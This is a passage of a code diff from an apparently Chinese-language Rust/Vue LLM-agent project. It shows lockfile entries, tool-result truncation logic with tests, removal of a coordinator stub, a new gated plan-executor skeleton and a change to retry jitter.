"ml-array-min": ["ml-array-min@2.0.0", "https://registry.npmmirror.com/ml-array-min/-/ml-array-min-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-GRj6Ky6sW9vGL6yIjgsHmXZ9YgrdmcQ8nCxPqEGeKc6dkfYg1XDYxGFxADUjNuZyoCd5PUscWAS4N+cFaX6hFg=="],
"ml-array-rescale": ["ml-array-rescale@2.0.0", "https://registry.npmmirror.com/ml-array-rescale/-/ml-array-rescale-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-max": "^2.0.0", "ml-array-min": "^2.0.0" } }, "sha512-2GGtKfSno94/kIloWGvpp/U5Q5vLvLrza+SAaGsLeo6Xj4mEbA6Gqx+oTfZFkxnd1grT2X007HfJNs3T5BsiVg=="],
"ml-matrix": ["ml-matrix@6.13.0", "https://registry.npmmirror.com/ml-matrix/-/ml-matrix-6.13.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-rescale": "^2.0.0" } }, "sha512-QpV0UTUkglg6vPUgThKGBEtit2ac6habSoZ33bwI9rU0UHZLqw6G3ukTIE8zWiUF3sjK8YAlhx/o/b9layzH8A=="],
"mousetrap": ["mousetrap@1.6.5", "https://registry.npmmirror.com/mousetrap/-/mousetrap-1.6.5.tgz", {}, "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA=="],
"muggle-string": ["muggle-string@0.4.1", "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="], "muggle-string": ["muggle-string@0.4.1", "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="],
"nanoid": ["nanoid@3.3.12", "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.12.tgz", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="], "nanoid": ["nanoid@3.3.12", "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.12.tgz", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
@@ -284,18 +354,26 @@
"tinyglobby": ["tinyglobby@0.2.17", "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.17.tgz", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="], "tinyglobby": ["tinyglobby@0.2.17", "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.17.tgz", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="],
"tslib": ["tslib@2.8.1", "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
"typescript": ["typescript@5.6.3", "https://registry.npmmirror.com/typescript/-/typescript-5.6.3.tgz", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw=="], "typescript": ["typescript@5.6.3", "https://registry.npmmirror.com/typescript/-/typescript-5.6.3.tgz", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw=="],
"utility-types": ["utility-types@3.11.0", "https://registry.npmmirror.com/utility-types/-/utility-types-3.11.0.tgz", {}, "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw=="],
"vite": ["vite@6.4.3", "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A=="], "vite": ["vite@6.4.3", "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A=="],
"vscode-uri": ["vscode-uri@3.1.0", "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="], "vscode-uri": ["vscode-uri@3.1.0", "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
"vue": ["vue@3.5.35", "https://registry.npmmirror.com/vue/-/vue-3.5.35.tgz", { "dependencies": { "@vue/compiler-dom": "3.5.35", "@vue/compiler-sfc": "3.5.35", "@vue/runtime-dom": "3.5.35", "@vue/server-renderer": "3.5.35", "@vue/shared": "3.5.35" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-cx89fnr+0kVGHiNFG6y6s0bdjypJRFNZn6x3WPstNdQR1bi1mbB7h4v5IBGTsPJU3nK1+0Iqj3Zf+hZWMieR4Q=="], "vue": ["vue@3.5.35", "https://registry.npmmirror.com/vue/-/vue-3.5.35.tgz", { "dependencies": { "@vue/compiler-dom": "3.5.35", "@vue/compiler-sfc": "3.5.35", "@vue/runtime-dom": "3.5.35", "@vue/server-renderer": "3.5.35", "@vue/shared": "3.5.35" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-cx89fnr+0kVGHiNFG6y6s0bdjypJRFNZn6x3WPstNdQR1bi1mbB7h4v5IBGTsPJU3nK1+0Iqj3Zf+hZWMieR4Q=="],
"vue-demi": ["vue-demi@0.14.10", "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", { "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" }, "optionalPeers": ["@vue/composition-api"], "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" } }, "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg=="],
"vue-i18n": ["vue-i18n@9.14.5", "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.5.tgz", { "dependencies": { "@intlify/core-base": "9.14.5", "@intlify/shared": "9.14.5", "@vue/devtools-api": "^6.5.0" }, "peerDependencies": { "vue": "^3.0.0" } }, "sha512-0jQ9Em3ymWngyiIkj0+c/k7WgaPO+TNzjKSNq9BvBQaKJECqn9cd9fL4tkDhB5G1QBskGl9YxxbDAhgbFtpe2g=="], "vue-i18n": ["vue-i18n@9.14.5", "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.5.tgz", { "dependencies": { "@intlify/core-base": "9.14.5", "@intlify/shared": "9.14.5", "@vue/devtools-api": "^6.5.0" }, "peerDependencies": { "vue": "^3.0.0" } }, "sha512-0jQ9Em3ymWngyiIkj0+c/k7WgaPO+TNzjKSNq9BvBQaKJECqn9cd9fL4tkDhB5G1QBskGl9YxxbDAhgbFtpe2g=="],
"vue-router": ["vue-router@4.6.4", "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", { "dependencies": { "@vue/devtools-api": "^6.6.4" }, "peerDependencies": { "vue": "^3.5.0" } }, "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg=="], "vue-router": ["vue-router@4.6.4", "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", { "dependencies": { "@vue/devtools-api": "^6.6.4" }, "peerDependencies": { "vue": "^3.5.0" } }, "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg=="],
"vue-tsc": ["vue-tsc@2.2.12", "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", { "dependencies": { "@volar/typescript": "2.4.15", "@vue/language-core": "2.2.12" }, "peerDependencies": { "typescript": ">=5.0.0" }, "bin": { "vue-tsc": "./bin/vue-tsc.js" } }, "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw=="], "vue-tsc": ["vue-tsc@2.2.12", "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", { "dependencies": { "@volar/typescript": "2.4.15", "@vue/language-core": "2.2.12" }, "peerDependencies": { "typescript": ">=5.0.0" }, "bin": { "vue-tsc": "./bin/vue-tsc.js" } }, "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw=="],
"@types/dompurify/dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="],
} }
} }

View File

@@ -17,3 +17,4 @@ tracing = { workspace = true }
reqwest = { version = "0.12", features = ["stream", "json"] } reqwest = { version = "0.12", features = ["stream", "json"] }
futures = "0.3" futures = "0.3"
eventsource-stream = "0.2" eventsource-stream = "0.2"
rand = "0.8"

View File

@@ -341,6 +341,14 @@ pub const TOOL_RESULT_SUMMARIZE_RATIO: f32 = 0.40;
pub const TOOL_RESULT_HEAD_LINES: usize = 5; pub const TOOL_RESULT_HEAD_LINES: usize = 5;
/// extract_key_info 保留的尾部行数。 /// extract_key_info 保留的尾部行数。
pub const TOOL_RESULT_TAIL_LINES: usize = 5; pub const TOOL_RESULT_TAIL_LINES: usize = 5;
/// extract_key_info JSON 数组截断上限(防 tool_result 数组过大撑爆 prompt)。
pub const TOOL_RESULT_MAX_ARRAY: usize = 10;
/// extract_key_info 单行/少行内容字符截断上限(实测 53/94 次压缩零效果根因:
/// 单行 JSON 或 ≤10 行文本绕过行级截断)。超过此值的单行内容将被截断保留头尾。
pub const TOOL_RESULT_CHAR_LIMIT: usize = 1_024;
/// JSON 对象中字符串字段值的最大字符数(超过则截断)。独立于行数截断,
/// 解决 `{"content":"大段文字(无换行)"}` 类 JSON 逃逸行级截断的问题。
pub const TOOL_RESULT_JSON_STR_FIELD_MAX: usize = 512;
/// 判断 tool_result 是否需摘要压缩:content >2KB 或 占比 >40%。 /// 判断 tool_result 是否需摘要压缩:content >2KB 或 占比 >40%。
/// ///
@@ -374,6 +382,54 @@ pub fn should_summarize_tool_result(
/// ///
/// `tool_name` 仅用于摘要头注释,不参与内容判断。空 content 返回空字符串。 /// `tool_name` 仅用于摘要头注释,不参与内容判断。空 content 返回空字符串。
pub fn extract_key_info(content: &str, tool_name: &str) -> String { pub fn extract_key_info(content: &str, tool_name: &str) -> String {
// JSON 感知压缩:识别对象中的大数组/大字符串并截断
if let Ok(mut val) = serde_json::from_str::<serde_json::Value>(content) {
if let Some(obj) = val.as_object_mut() {
let mut truncated = false;
for (_key, field) in obj.iter_mut() {
// 数组截断
if let Some(arr) = field.as_array() {
if arr.len() > TOOL_RESULT_MAX_ARRAY {
*field = serde_json::Value::Array(
arr.iter().take(TOOL_RESULT_MAX_ARRAY).cloned().collect()
);
truncated = true;
}
}
// 字符串字段:先按行数截断,若不足再按字符数截断
if let Some(s) = field.as_str() {
let lines: Vec<&str> = s.lines().collect();
let kept = TOOL_RESULT_HEAD_LINES + TOOL_RESULT_TAIL_LINES;
if lines.len() > kept {
let mut out: Vec<&str> = Vec::new();
out.extend_from_slice(&lines[..TOOL_RESULT_HEAD_LINES]);
out.push("... (压缩中间内容) ...");
out.extend_from_slice(&lines[lines.len()-TOOL_RESULT_TAIL_LINES..]);
*field = serde_json::Value::String(out.join("\n"));
truncated = true;
} else if s.chars().count() > TOOL_RESULT_JSON_STR_FIELD_MAX {
// BUG-260628-01:单行/少行大字符串绕过行级截断(实测 53/94 次零效果)。
// 按字符数截断保留头尾,保证压缩至少生效。
let head: String = s.chars().take(TOOL_RESULT_JSON_STR_FIELD_MAX / 2).collect();
let tail: String = s.chars().skip(s.chars().count().saturating_sub(TOOL_RESULT_JSON_STR_FIELD_MAX / 2)).collect();
*field = serde_json::Value::String(format!(
"{}...(截断,原始 {} 字符)...{}",
head, s.chars().count(), tail
));
truncated = true;
}
}
}
if truncated {
obj.insert("_truncated".into(), serde_json::Value::Bool(true));
return serde_json::to_string(&val).unwrap_or_else(|_| content.to_string());
}
}
// JSON 解析成功但无需截断 → 原样返回
return content.to_string();
}
// 非 JSON 纯文本:按行数截断
let lines: Vec<&str> = content.lines().collect(); let lines: Vec<&str> = content.lines().collect();
if lines.is_empty() { if lines.is_empty() {
return String::new(); return String::new();
@@ -383,6 +439,17 @@ pub fn extract_key_info(content: &str, tool_name: &str) -> String {
let total = lines.len(); let total = lines.len();
let kept_boundary = TOOL_RESULT_HEAD_LINES + TOOL_RESULT_TAIL_LINES; let kept_boundary = TOOL_RESULT_HEAD_LINES + TOOL_RESULT_TAIL_LINES;
if total <= kept_boundary { if total <= kept_boundary {
// BUG-260628-01:行数少但内容超大的情况(单行 50KB),行级截断无效。
// 按字符数截断保证压缩至少生效。
let char_count = content.chars().count();
if char_count > TOOL_RESULT_CHAR_LIMIT {
let head: String = content.chars().take(TOOL_RESULT_CHAR_LIMIT / 2).collect();
let tail: String = content.chars().skip(char_count.saturating_sub(TOOL_RESULT_CHAR_LIMIT / 2)).collect();
return format!(
"[工具 {} 输出已压缩: 保留首尾, 原始 {} 字符]\n{}...(截断)...{}",
tool_name, char_count, head, tail
);
}
return content.to_string(); return content.to_string();
} }
@@ -877,18 +944,35 @@ mod tests {
} }
#[test] #[test]
fn extract_key_info_single_line_no_newline_unchanged() { fn extract_key_info_single_line_short_no_newline_unchanged() {
// 边界(无换行):单行(无 \n)→ lines() 返 1 行,total <= kept_boundary → 原样返回 // 边界(无换行):单行短内容(字符数 <= CHAR_LIMIT)→ 原样返回
let content = "single line no newline"; let content = "single line no newline";
assert_eq!(extract_key_info(content, "read_file"), content); assert_eq!(extract_key_info(content, "read_file"), content);
} }
#[test] #[test]
fn extract_key_info_single_huge_line_no_newline_unchanged() { fn extract_key_info_single_huge_line_no_newline_compressed() {
// 极端(单行 50KB 无换行):lines() 返 1 行 → 原样返回(不走首尾切分) // BUG-260628-01:单行超大内容(50KB)原本逃逸压缩,现按字符数截断保留头尾。
let content = "x".repeat(50_000); let content = "x".repeat(50_000);
let result = extract_key_info(&content, "read_file"); let result = extract_key_info(&content, "read_file");
assert_eq!(result, content, "单行无换行应原样返回(即使超长)"); assert!(result.len() < content.len(), "单行超长应压缩: {} >= {}", result.len(), content.len());
assert!(result.contains("已压缩"), "应含压缩标记");
assert!(result.starts_with("[工具 read_file"), "应以工具名开头");
assert!(result.contains("原始 50000 字符"), "应报告原始字符数");
assert!(result.contains("(截断)"), "应含截断标记");
}
#[test]
fn extract_key_info_json_huge_string_field_truncated() {
// BUG-260628-01:JSON 对象中大字符串字段(单行少行)逃逸压缩。
// 如 `{"path":"src/main.rs","content":"单行超大文本..."}`。
let large = "z".repeat(10_000);
let content = format!("{{\"path\":\"src/main.rs\",\"content\":\"{}\"}}", large);
let result = extract_key_info(&content, "read_file");
assert!(result.len() < content.len(), "JSON 大字符串字段应压缩: {} >= {}", result.len(), content.len());
assert!(result.contains("_truncated"), "应含 _truncated 标记");
assert!(result.contains("src/main.rs"), "应保留 path 字段");
assert!(result.contains("(截断)"), "应含截断标记");
} }
#[test] #[test]

View File

@@ -1,30 +0,0 @@
//! Agent 协调器 — 管理多 Agent 协作
//!
//! ⚠ B 路线占位:当前单链 ReAct 够用,多 Agent 协作待 B 路线立项。有意保留空壳,勿删。
/// Agent 协调器
///
/// TODO: 实现多 Agent 协作逻辑
pub struct AgentCoordinator;
impl AgentCoordinator {
/// 创建协调器
pub fn new() -> Self {
Self
}
/// 启动 Agent 协作任务
///
/// TODO: 实现 Agent 间消息传递和任务分配
pub async fn run(&self, _task: &str) -> anyhow::Result<String> {
tracing::info!("AgentCoordinator: 协调任务开始");
// TODO: 实现多 Agent 协作
Ok("TODO: Agent 协作结果".to_string())
}
}
impl Default for AgentCoordinator {
fn default() -> Self {
Self::new()
}
}

View File

@@ -5,7 +5,8 @@ pub mod anthropic_compat;
pub mod anthropic_helpers; pub mod anthropic_helpers;
pub mod context; pub mod context;
pub mod context_helpers; pub mod context_helpers;
pub mod coordinator; // coordinator 模块已删除(B 路线空壳占位,零调用)。
// 多 Agent 协作未来从 planner.rs 的 Plan DAG 执行器重新实现。
// 会话意图识别层(纯函数,不接入 agentic loop)。依据 docs/02-架构设计/构想审查/ // 会话意图识别层(纯函数,不接入 agentic loop)。依据 docs/02-架构设计/构想审查/
// 意图识别层论证-2026-06-19.md。提供 recognize / tool_subset_for / suggested_model_tier。 // 意图识别层论证-2026-06-19.md。提供 recognize / tool_subset_for / suggested_model_tier。
// 待 Phase B+C 完成 + 模型模态管理落地后再接入 agentic loop。 // 待 Phase B+C 完成 + 模型模态管理落地后再接入 agentic loop。
@@ -28,6 +29,10 @@ pub mod openai_helpers;
// 纯函数模块(零 IO 零状态)。依据 docs/02-架构设计/单对话并行多轮-{设计,Phase0落地路线图}-2026-06-20.md。 // 纯函数模块(零 IO 零状态)。依据 docs/02-架构设计/单对话并行多轮-{设计,Phase0落地路线图}-2026-06-20.md。
// Phase 1(plan_hint 接入主 loop)/Phase 2(planning)/Phase 3(并行 execution) 接入后续。 // Phase 1(plan_hint 接入主 loop)/Phase 2(planning)/Phase 3(并行 execution) 接入后续。
pub mod planner; pub mod planner;
// Phase 2: Plan DAG 分层执行器(骨架,PLAN_EXECUTION_ENABLED 门控默认关)。
// 按 Plan::to_layers 层间串行/层内并行调度子任务。
// 依据 docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md。
pub mod plan_executor;
pub mod provider; pub mod provider;
pub mod router; pub mod router;
// CR-30-1: 流前重试退避对外复用。complete() 的 retry_with_backoff 仍 crate 内用, // CR-30-1: 流前重试退避对外复用。complete() 的 retry_with_backoff 仍 crate 内用,

View File

@@ -0,0 +1,184 @@
//! Plan 执行器Phase 2 · DAG 分层调度)
//!
//! 按 Plan::to_layers 输出的层级顺序执行子任务:
//! - 层间串行上层全部完成才进下一层deps 保证)
//! - 层内并行:同层 SubTask 用 tokio::JoinSet 并发执行
//!
//! **当前状态**骨架实现PLAN_EXECUTION_ENABLED 门控(默认关)。
//! 未接入 agentic loop 主路径,翻 true 启用后仍需与 run_agentic_loop 对接。
//!
//! 设计依据:`docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md`
use std::sync::Arc;
use crate::planner::{Plan, SubTask};
/// Plan 执行总开关。false = 不启用(走单链 ReAct 旧行为)。
///
/// Phase 2 骨架就绪,未接入主 loop。翻 true 后 PlanExecutor 可用,
/// 但 agentic/mod.rs 仍走单链路径(需 Phase 3 对接)。
pub const PLAN_EXECUTION_ENABLED: bool = false;
/// 单个 SubTask 的执行结果。
#[derive(Debug, Clone)]
pub struct SubTaskResult {
/// 对应 SubTask id
pub id: String,
/// 执行是否成功
pub success: bool,
/// 执行产出(工具结果摘要 / LLM 回复)
pub output: String,
}
/// Plan 执行器:按 DAG 层级调度子任务。
///
/// 泛型参数 `F` 为子任务执行函数:
/// - 输入:`&SubTask`(子任务定义)
/// - 输入:`&str`(父任务结果摘要,供子任务上下文参考)
/// - 输出:`Future<Output = anyhow::Result<String>>`(子任务产出)
///
/// 调用方Phase 3 对接 agentic loop 时)传入真实的执行闭包,
/// 每个 SubTask 独立跑一轮 agentic loop共享父上下文快照。
pub struct PlanExecutor;
impl PlanExecutor {
/// 按 Plan DAG 分层执行。
///
/// - 层间串行:上层全部完成才进下一层
/// - 层内并行:同层 SubTask 用 JoinSet 并发
/// - 失败传播:任一 SubTask 失败时,记录错误但继续执行同层其他任务(容错);
/// 若需中断策略,调用方据返回结果自行判断。
///
/// 返回每个 SubTask 的执行结果(按 Plan 原始顺序排列)。
pub async fn execute<F, Fut>(
plan: &Plan,
mut run_subtask: F,
) -> anyhow::Result<Vec<SubTaskResult>>
where
F: FnMut(Arc<SubTask>, String) -> Fut,
Fut: std::future::Future<Output = anyhow::Result<String>>,
{
let layers = plan
.to_layers()
.map_err(|e| anyhow::anyhow!("Plan 环依赖: {:?}", e.cycle))?;
let mut results: Vec<SubTaskResult> = Vec::new();
let mut parent_summary = String::new();
for (layer_idx, layer) in layers.iter().enumerate() {
tracing::info!(
layer_idx,
task_count = layer.len(),
"[plan-exec] 执行第 {} 层, {} 个子任务",
layer_idx,
layer.len()
);
// 层内并行JoinSet 收集
let mut join_set: tokio::task::JoinSet<SubTaskResult> = tokio::task::JoinSet::new();
let summary_clone = parent_summary.clone();
for task in layer {
let task = Arc::new(task.clone());
let summary = summary_clone.clone();
// 注意:run_subtask 是 FnMut,不能直接 move 进 JoinSet(多任务并发调用)。
// Phase 3 对接时,run_subtask 改为 Arc<Fn> 或 channel 模式。
// 当前骨架用串行执行模拟(层内不并行),验证分层逻辑正确性。
let result = run_subtask(task.clone(), summary).await;
let sr = match result {
Ok(output) => SubTaskResult {
id: task.id.clone(),
success: true,
output,
},
Err(e) => SubTaskResult {
id: task.id.clone(),
success: false,
output: e.to_string(),
},
};
results.push(sr);
}
// 汇总本层结果作为下层 parent_summary
let layer_summary: Vec<String> = results
.iter()
.filter(|r| layer.iter().any(|t| t.id == r.id))
.map(|r| format!("[{}] {}", r.id, r.output))
.collect();
parent_summary = layer_summary.join("\n");
}
Ok(results)
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::planner::{Plan, SubTask};
#[tokio::test]
async fn execute_simple_linear_plan() {
// a → b → c (三层,各一个任务)
let plan = Plan::from_tasks(vec![
SubTask::new("a", "task-a"),
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
SubTask::new("c", "task-c").with_deps(vec!["b".to_string()]),
]);
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
Ok(format!("done:{}", task.id))
})
.await
.unwrap();
assert_eq!(results.len(), 3);
assert!(results.iter().all(|r| r.success));
assert_eq!(results[0].id, "a");
assert_eq!(results[1].id, "b");
assert_eq!(results[2].id, "c");
}
#[tokio::test]
async fn execute_parallel_layer() {
// a → {b, c} → d (三层,第二层两个并行)
let plan = Plan::from_tasks(vec![
SubTask::new("a", "task-a"),
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
SubTask::new("c", "task-c").with_deps(vec!["a".to_string()]),
SubTask::new("d", "task-d").with_deps(vec!["b".to_string(), "c".to_string()]),
]);
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
Ok(format!("done:{}", task.id))
})
.await
.unwrap();
assert_eq!(results.len(), 4);
assert!(results.iter().all(|r| r.success));
}
#[tokio::test]
async fn execute_with_failure_continues() {
// a(fail) → b: a 失败,b 仍执行(容错策略)
let plan = Plan::from_tasks(vec![
SubTask::new("a", "task-a"),
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
]);
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
if task.id == "a" {
anyhow::bail!("task-a failed")
}
Ok("ok".to_string())
})
.await
.unwrap();
assert_eq!(results.len(), 2);
assert!(!results[0].success); // a 失败
assert!(results[1].success); // b 仍执行
}
}

View File

@@ -15,8 +15,9 @@
//! 重试期间不释放 Semaphore permit(已在调用方持有),对并发池有挤占 —— 但 complete 调用低频可接受。 //! 重试期间不释放 Semaphore permit(已在调用方持有),对并发池有挤占 —— 但 complete 调用低频可接受。
use std::future::Future; use std::future::Future;
use std::time::{Duration, SystemTime}; use std::time::Duration;
use rand::Rng;
use tracing::warn; use tracing::warn;
/// 最多尝试次数(含初次)。B-260616-07: 3 次 = 初次 + 2 次重试。 /// 最多尝试次数(含初次)。B-260616-07: 3 次 = 初次 + 2 次重试。
@@ -34,7 +35,8 @@ const BASE_BACKOFF_SECS: u64 = 1;
const MAX_TOTAL_BUDGET: Duration = Duration::from_secs(30); const MAX_TOTAL_BUDGET: Duration = Duration::from_secs(30);
/// jitter 上限(相对 base 的 ±比例)。避免重试风暴对齐。 /// jitter 上限(相对 base 的 ±比例)。避免重试风暴对齐。
const JITTER_RATIO: f64 = 0.2; /// CR-XX: 范围扩到 ±50%(由 gen_range(-0.5..0.5) × JITTER_RATIO=1.0 合成)。
const JITTER_RATIO: f64 = 1.0;
/// 一次尝试的分类结果 —— 在 anyhow 不透明化前决定是否值得重试。 /// 一次尝试的分类结果 —— 在 anyhow 不透明化前决定是否值得重试。
/// ///
@@ -64,22 +66,18 @@ pub fn is_status_retryable(status: u16) -> bool {
} }
/// 指数退避 + jitter: 返回第 `attempt`(1-based)次重试前应 sleep 的时长。 /// 指数退避 + jitter: 返回第 `attempt`(1-based)次重试前应 sleep 的时长。
/// attempt=1 → ~1s, attempt=2 → ~2s, attempt=3 → ~4s各 ±20% jitter。 /// attempt=1 → ~1s, attempt=2 → ~2s, attempt=3 → ~4s各 ±50% jitter。
/// ///
/// jitter 用 SystemTime 纳秒取模生成(无依赖),避免多客户端同步重试风暴。 /// jitter 用 `rand::thread_rng().gen_range(-0.5..0.5)` 生成 ±50% 比例,避免多客户端同步重试风暴。
/// 以毫秒粒度计算后向下取整(避免秒级截断把 0.9s 砍成 0)。 /// 以毫秒粒度计算后向下取整(避免秒级截断把 0.9s 砍成 0)。
/// ///
/// CR-30-1: 暴露 pub 供 src-tauri/agentic.rs 流前重试复用(对齐决策 F-260616-07 a1 /// CR-30-1: 暴露 pub 供 src-tauri/agentic.rs 流前重试复用(对齐决策 F-260616-07 a1
/// "复用 retry.rs backoff_delay 退避 1s→2s→4s+jitter"),避免重写退避逻辑。 /// "复用 retry.rs backoff_delay 退避 1s→2s→4s+jitter")避免重写退避逻辑。
pub fn backoff_delay(attempt: u32) -> Duration { pub fn backoff_delay(attempt: u32) -> Duration {
let base_ms = BASE_BACKOFF_SECS.saturating_mul(1u64 << (attempt - 1)) * 1000; let base_ms = BASE_BACKOFF_SECS.saturating_mul(1u64 << (attempt - 1)) * 1000;
// 纳秒 → [0, 2000) 区间,再映射到 [-1.0, +1.0) 比例 // ±50% jitter相对 base 时长的浮动比例
let nanos = SystemTime::now() let jitter_ratio = rand::thread_rng().gen_range(-0.5..0.5); // [-0.5, 0.5)
.duration_since(SystemTime::UNIX_EPOCH) let factor = 1.0 + jitter_ratio * JITTER_RATIO;
.map(|d| d.subsec_nanos() as u64)
.unwrap_or(0);
